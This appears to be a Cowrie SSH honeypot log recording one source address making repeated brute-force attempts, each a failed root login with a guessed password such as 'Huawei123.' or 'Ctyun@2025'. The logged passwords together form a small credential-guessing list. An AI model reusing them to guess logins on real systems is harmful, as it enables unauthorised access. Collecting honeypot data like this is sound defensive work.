{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:07.514404Z","src_ip":"60.165.124.241","session":"fea94a69fda4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty12345","message":"login attempt [root/Qwerty12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:08.234971Z","src_ip":"60.165.124.241","session":"fea94a69fda4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:09.475529Z","src_ip":"60.165.124.241","session":"fea94a69fda4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":44942,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc2db2698a77","protocol":"ssh","message":"New connection: 60.165.124.241:44942 (10.17.0.5:22) [session: fc2db2698a77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:09.706858Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:09.712123Z","src_ip":"60.165.124.241","session":"fc2db2698a77","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:09.949581Z","src_ip":"60.165.124.241","session":"fc2db2698a77","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zombie","message":"login attempt [root/zombie] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:10.666716Z","src_ip":"60.165.124.241","session":"fc2db2698a77","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:11.906897Z","src_ip":"60.165.124.241","session":"fc2db2698a77","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":48114,"dst_ip":"10.17.0.5","dst_port":22,"session":"cb3808d7d5c3","protocol":"ssh","message":"New connection: 60.165.124.241:48114 (10.17.0.5:22) [session: cb3808d7d5c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:12.158818Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:12.168728Z","src_ip":"60.165.124.241","session":"cb3808d7d5c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:12.415609Z","src_ip":"60.165.124.241","session":"cb3808d7d5c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Inspur@123","message":"login attempt [root/Inspur@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:13.159380Z","src_ip":"60.165.124.241","session":"cb3808d7d5c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:14.408794Z","src_ip":"60.165.124.241","session":"cb3808d7d5c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":51230,"dst_ip":"10.17.0.5","dst_port":22,"session":"49fe32e3f198","protocol":"ssh","message":"New connection: 60.165.124.241:51230 (10.17.0.5:22) [session: 49fe32e3f198]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:14.632198Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:14.637830Z","src_ip":"60.165.124.241","session":"49fe32e3f198","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:14.874686Z","src_ip":"60.165.124.241","session":"49fe32e3f198","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QWEASD761174591","message":"login attempt [root/QWEASD761174591] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:15.597982Z","src_ip":"60.165.124.241","session":"49fe32e3f198","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:16.837892Z","src_ip":"60.165.124.241","session":"49fe32e3f198","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":53906,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c5110344aec","protocol":"ssh","message":"New connection: 60.165.124.241:53906 (10.17.0.5:22) [session: 5c5110344aec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:17.094853Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:17.104377Z","src_ip":"60.165.124.241","session":"5c5110344aec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:17.353532Z","src_ip":"60.165.124.241","session":"5c5110344aec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd+1234","message":"login attempt [root/abcd+1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:18.105634Z","src_ip":"60.165.124.241","session":"5c5110344aec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:19.357439Z","src_ip":"60.165.124.241","session":"5c5110344aec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":57206,"dst_ip":"10.17.0.5","dst_port":22,"session":"993fe7555220","protocol":"ssh","message":"New connection: 60.165.124.241:57206 (10.17.0.5:22) [session: 993fe7555220]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:19.583601Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:19.591006Z","src_ip":"60.165.124.241","session":"993fe7555220","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:19.832391Z","src_ip":"60.165.124.241","session":"993fe7555220","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei123.","message":"login attempt [root/Huawei123.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:20.555866Z","src_ip":"60.165.124.241","session":"993fe7555220","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:21.802555Z","src_ip":"60.165.124.241","session":"993fe7555220","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":60270,"dst_ip":"10.17.0.5","dst_port":22,"session":"19cffb77c7ef","protocol":"ssh","message":"New connection: 60.165.124.241:60270 (10.17.0.5:22) [session: 19cffb77c7ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:22.060832Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:22.071083Z","src_ip":"60.165.124.241","session":"19cffb77c7ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:22.328045Z","src_ip":"60.165.124.241","session":"19cffb77c7ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ctyun@2025","message":"login attempt [root/Ctyun@2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:23.346919Z","src_ip":"60.165.124.241","session":"19cffb77c7ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:24.610829Z","src_ip":"60.165.124.241","session":"19cffb77c7ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":35530,"dst_ip":"10.17.0.5","dst_port":22,"session":"fb80fec55473","protocol":"ssh","message":"New connection: 60.165.124.241:35530 (10.17.0.5:22) [session: fb80fec55473]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:24.832844Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:24.837434Z","src_ip":"60.165.124.241","session":"fb80fec55473","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:25.073855Z","src_ip":"60.165.124.241","session":"fb80fec55473","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin-123456","message":"login attempt [root/admin-123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:25.811887Z","src_ip":"60.165.124.241","session":"fb80fec55473","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:27.064481Z","src_ip":"60.165.124.241","session":"fb80fec55473","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":38640,"dst_ip":"10.17.0.5","dst_port":22,"session":"04ee045cc480","protocol":"ssh","message":"New connection: 60.165.124.241:38640 (10.17.0.5:22) [session: 04ee045cc480]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:27.301141Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:27.305378Z","src_ip":"60.165.124.241","session":"04ee045cc480","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:27.553091Z","src_ip":"60.165.124.241","session":"04ee045cc480","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"R4e3w2q1","message":"login attempt [root/R4e3w2q1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:28.291330Z","src_ip":"60.165.124.241","session":"04ee045cc480","protocol":"ssh"}
